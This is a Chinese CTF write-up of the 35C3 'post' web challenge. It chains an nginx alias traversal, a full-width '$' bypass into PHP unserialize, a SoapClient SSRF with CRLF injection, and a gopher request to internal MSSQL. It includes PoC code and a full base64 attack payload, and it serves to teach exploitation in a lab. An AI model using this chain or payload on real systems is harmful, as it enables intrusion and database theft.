一道CTF题目的复现及分析。
环境&提示
docker环境:https://github.com/eboda/35c3/
1 2 3 4 5
| Hint: flag is in db
Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge
Hint3: You probably want to get the source code, luckily for you it’s rather hard to configure nginx
|
nginx配置问题
首先扫一下目录,发现upload页面,存在任意文件读取。
配置文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| server { listen 80; access_log /var/log/nginx/example.log;
server_name localhost;
root /var/www/html;
location /uploads { autoindex on; alias /var/www/uploads/; }
location / { alias /var/www/html/; index index.php;
location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.2-fpm.sock; } }
location /inc/ { deny all; } }
server { listen 127.0.0.1:8080; access_log /var/log/nginx/proxy.log;
if ( $request_method !~ ^(GET)$ ) { return 405; } root /var/www/miniProxy; location / { index index.php;
location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.2-fpm.sock; } } }
|
这里参考ph的博客:https://www.leavesongs.com/PENETRATION/nginx-insecure-configuration.html
假设静态文件存储在/home/目录下,而该目录在url中名字为files,那么就需要用alias设置目录的别名,url上/files没有加后缀/,而alias设置的/home/是有后缀/的,这个/就导致我们可以从/home/目录穿越到他的上层目录。
1 2 3
| location /files { alias /home/; }
|
代码审计
存数据:
1 2 3 4 5 6 7 8 9 10
| public function save() { global $USER; if (is_null($this->id)) { DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)", array($USER->uid, $this->title, $this->content, $this->attachment)); } else { DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?", array($this->title, $this->content, $this->attachment, $USER->uid, $this->id)); } }
|
这里调用的DB类的insert和query方法,跟进一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| private static function prepare_params($params) { return array_map(function($x){ if (is_object($x) or is_array($x)) { return '$serializedobject$' . serialize($x); }
if (preg_match('/^\$serializedobject\$/i', $x)) { die("invalid data"); return ""; }
return $x; }, $params); }
private static function retrieve_values($res) { $result = array(); while ($row = sqlsrv_fetch_array($res)) { $result[] = array_map(function($x){ return preg_match('/^\$serializedobject\$/i', $x) ? unserialize(substr($x, 18)) : $x; }, $row); } return $result; }
public static function query($sql, $values=array()) { if (!is_array($values)) $values = array($values); if (!DB::$init) DB::initialize();
$res = sqlsrv_query(DB::$con, $sql, $values); if ($res === false) DB::error();
return DB::retrieve_values($res); }
public static function insert($sql, $values=array()) { if (!is_array($values)) $values = array($values); if (!DB::$init) DB::initialize();
$values = DB::prepare_params($values);
$x = sqlsrv_query(DB::$con, $sql, $values); if (!$x) throw new Exception; }
|
通过代码可以发现,存数据之前对object或者array进行了一次序列化操作,并前面加上$serializedobject$标识符,如果可以伪造标识符在取数据是便可进行反序列化操作。
查看代码可知在存数据之前会对数据进行检查,如果发现以$serializedobject$开头会判定为非法数据。
mysql字符小trick
mysql会把全角字符转化为对应的ascii码,表示的字符是$是$的全角字符,可以利用这个trick绕过这个检查。
其他:
1 2 3
| select username from table where username='admin%2c'; select username from table where username='Àdmin';
|
具体原理参考ph的博客:https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html
SoapClient进行SSRF
之前曾经分析过SoapClient,当调用__call方法时会触发SoapClient类。传送门
在default.php下,实例化了post类,会调用post类的__tostring方法。
1 2 3 4 5
| $posts = Post::loadall(); foreach($posts as $p) { echo $p; echo "<br><br>"; }
|
post类的tostring方法,tostring同时还会调用Attachment类的tostring方法。
post类:
1 2 3 4 5 6 7 8 9 10
| public function __toString() { $str = "<h2>{$this->title}</h2>"; $str .= $this->content; $str .= "<hr>Attachments:<br><il>"; foreach ($this->attachment as $attach) { $str .= "<li>$attach</li>"; } $str .= "</il>"; return $str; }
|
Attachment类:
1 2 3 4 5 6 7 8
| public function __toString() { $str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime "; if (!is_null($this->za)) { $this->za->open("../".$this->url); $str .= "with ".$this->za->numFiles . " Files."; } return $str. ")"; }
|
通过Attachment类,我们可以发现$this->za->open()调用了一个方法。利用思路是,伪造content为Attachment实例,其中的$this->za是一个SoapClient实例,那么在展示content的时候就会触发Attachment的toString操作,从而触发SoapClient的call函数。
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| class Attachment { private $url = NULL; private $za = NULL; private $mime = NULL; public function __construct() { $this->url = "test"; $this->mime = "test" $this->za = new SoapClient(null,array('location' => "http://127.0.0.1:8080", 'uri'=> "http://testtest/")); } } $attachment = new Attachment(); echo '$serializedobject$'.serialize($attachment);
|
miniProxy
通过查看配置文件,存在一个8080端口并且只允许内网访问,接受的请求方式为GET,但SoapClient发送的请求为POST,可以利用CRLF漏洞绕过请求限制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| server { listen 127.0.0.1:8080; access_log /var/log/nginx/proxy.log;
if ( $request_method !~ ^(GET)$ ) { return 405; } root /var/www/miniProxy; location / { index index.php;
location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.2-fpm.sock; } }
|
本地测试一下代理,尝试file协议能否读取文件,最后报错,跟踪一下报错的代码。
1 2 3 4 5 6 7 8 9
| $scheme = parse_url($url, PHP_URL_SCHEME); if (empty($scheme)) { if (strpos($url, "//") === 0) { $url = "http:" . $url; } } else if (!preg_match("/^https?$/i", $scheme)) { die('Error: Detected a "' . $scheme . '" URL. miniProxy exclusively supports http[s] URLs.'); }
|
php小trick
根据刚才的代码,会对请求的schema进行请求,为空的话加上http,不为空检测是否为http或https类型。
1 2
| $scheme = parse_url($url, PHP_URL_SCHEME); empty($scheme)
|
或者使用一个 301 进行跳转
利用gopher协议打mssql
首先找到自己的uid,利用刚才的反序列化漏洞将数据插入到数据库最后读取flag.
1 2 3 4 5 6 7
| if (!isset($_SESSION["username"]) && !in_array($page, array("login","register"))) { header("Location: /?page=login"); die; } else if (isset($_SESSION["username"])) { $USER = new User($_SESSION["username"], $_SESSION["password"]); if (isset($_SERVER["HTTP_DEBUG"])) var_dump($USER); }
|
利用官方exp生成gopher
1 2 3
| λ php -f exploit.php "insert into posts (userid,title,content,attachment) values (1,"test",(select flag form `flag`),"b");-- -"
JHNlcmlhbGl6ZWRvYmplY3TvvIRPOjEwOiJBdHRhY2htZW50IjoxOntzOjI6InphIjtPOjEwOiJTb2FwQ2xpZW50IjozOntzOjM6InVyaSI7czozNToiaHR0cDovL2xvY2FsaG9zdDo4MDgwL21pbmlQcm94eS5waHAiO3M6ODoibG9jYXRpb24iO3M6MzU6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9taW5pUHJveHkucGhwIjtzOjExOiJfdXNlcl9hZ2VudCI7czoxMzAzOiJBQUFBQUhhaGEKCkdFVCAvbWluaVByb3h5LnBocD9nb3BoZXI6Ly8vZGI6MTQzMy9BJTEyJTAxJTAwJTJGJTAwJTAwJTAxJTAwJTAwJTAwJTFBJTAwJTA2JTAxJTAwJTIwJTAwJTAxJTAyJTAwJTIxJTAwJTAxJTAzJTAwJTIyJTAwJTA0JTA0JTAwJTI2JTAwJTAxJUZGJTAwJTAwJTAwJTAxJTAwJTAxJTAyJTAwJTAwJTAwJTAwJTAwJTAwJTEwJTAxJTAwJURFJTAwJTAwJTAxJTAwJUQ2JTAwJTAwJTAwJTA0JTAwJTAwdCUwMCUxMCUwMCUwMCUwMCUwMCUwMCUwMFQwJTAwJTAwJTAwJTAwJTAwJTAwJUUwJTAwJTAwJTA4JUM0JUZGJUZGJUZGJTA5JTA0JTAwJTAwJTVFJTAwJTA3JTAwbCUwMCUwQSUwMCU4MCUwMCUwOCUwMCU5MCUwMCUwQSUwMCVBNCUwMCUwOSUwMCVCNiUwMCUwMCUwMCVCNiUwMCUwNyUwMCVDNCUwMCUwMCUwMCVDNCUwMCUwOSUwMCUwMSUwMiUwMyUwNCUwNSUwNiVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCUwMCUwMCUwMCUwMGElMDB3JTAwZSUwMHMlMDBvJTAwbSUwMGUlMDBjJTAwaCUwMGElMDBsJTAwbCUwMGUlMDBuJTAwZyUwMGUlMDByJTAwJUMxJUE1UyVBNVMlQTUlODMlQTUlQjMlQTUlODIlQTUlQjYlQTUlQjclQTVuJTAwbyUwMGQlMDBlJTAwLSUwMG0lMDBzJTAwcyUwMHElMDBsJTAwbCUwMG8lMDBjJTAwYSUwMGwlMDBoJTAwbyUwMHMlMDB0JTAwVCUwMGUlMDBkJTAwaSUwMG8lMDB1JTAwcyUwMGMlMDBoJTAwYSUwMGwlMDBsJTAwZSUwMG4lMDBnJTAwZSUwMCUwMSUwMSUwMCVFNiUwMCUwMCUwMSUwMCUxNiUwMCUwMCUwMCUxMiUwMCUwMCUwMCUwMiUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwMCUwMCUwMGklMDBuJTAwcyUwMGUlMDByJTAwdCUwMCUyMCUwMGklMDBuJTAwdCUwMG8lMDAlMjAlMDAlMjglMDB1JTAwcyUwMGUlMDByJTAwaSUwMGQlMDAlMkMlMDB0JTAwaSUwMHQlMDBsJTAwZSUwMCUyQyUwMGMlMDBvJTAwbiUwMHQlMDBlJTAwbiUwMHQlMDAlMkMlMDBhJTAwdCUwMHQlMDBhJTAwYyUwMGglMDBtJTAwZSUwMG4lMDB0JTAwJTI5JTAwJTIwJTAwdiUwMGElMDBsJTAwdSUwMGUlMDBzJTAwJTIwJTAwJTI4JTAwMSUwMCUyQyUwMHQlMDBlJTAwcyUwMHQlMDAlMkMlMDAlMjglMDBzJTAwZSUwMGwlMDBlJTAwYyUwMHQlMDAlMjAlMDBmJTAwbCUwMGElMDBnJTAwJTIwJTAwZiUwMG8lMDByJTAwbSUwMCUyMCUwMCU2MCUwMGYlMDBsJTAwYSUwMGclMDAlNjAlMDAlMjklMDAlMkMlMDBiJTAwJTI5JTAwJTNCJTAwLSUwMC0lMDAlMjAlMDAtJTAwJTNCJTAwLSUwMC0lMDAlMjAlMDAtJTAwIEhUVFAvMS4xCkhvc3Q6IGxvY2FsaG9zdAoKIjt9fQ==
|
用python发送这个base64解码之后的content,就可以打到flag了